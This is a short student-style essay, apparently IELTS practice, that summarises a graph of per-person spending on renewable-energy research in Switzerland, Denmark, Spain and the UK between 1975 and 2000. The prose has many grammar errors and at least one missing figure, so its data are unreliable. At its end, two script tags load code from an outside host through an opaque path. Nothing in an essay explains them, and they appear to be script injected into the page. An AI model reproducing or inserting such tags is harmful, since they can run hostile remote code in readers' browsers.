The graph below show the spending on research into renewable sources of energy in four countries between 1975 and 2000 summarise the information by selecting and reporting the main features and make comparisons where relevant

The given line graph provided the information about the four countries in leading research on renewable sources between 1975 and 2000.
From 1975 to 1980, the Switzerland spending on research increased from 2 to dollar per person, but ratio of spending dollars was increased significantly to peak at $6 per person in 2000. Around $1 spend per person on research renewable energy in Denmark by 1980, however the budget was steadily similarly until 1990. Then, spending dollars was rapidly go up till 2000.
It is clear that, Spain research pocket fluctuated at around $1 for the entire period, spending a little more than UK. The Denmark, UK and Spain was spending dollar was the same level during 1980. The country of Switzerland had too much budget and even spending dollar was much more on renewable sources compared than three other countries.
Overall, only two nations Spain and UK was less interested in these alternative renewable resources.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
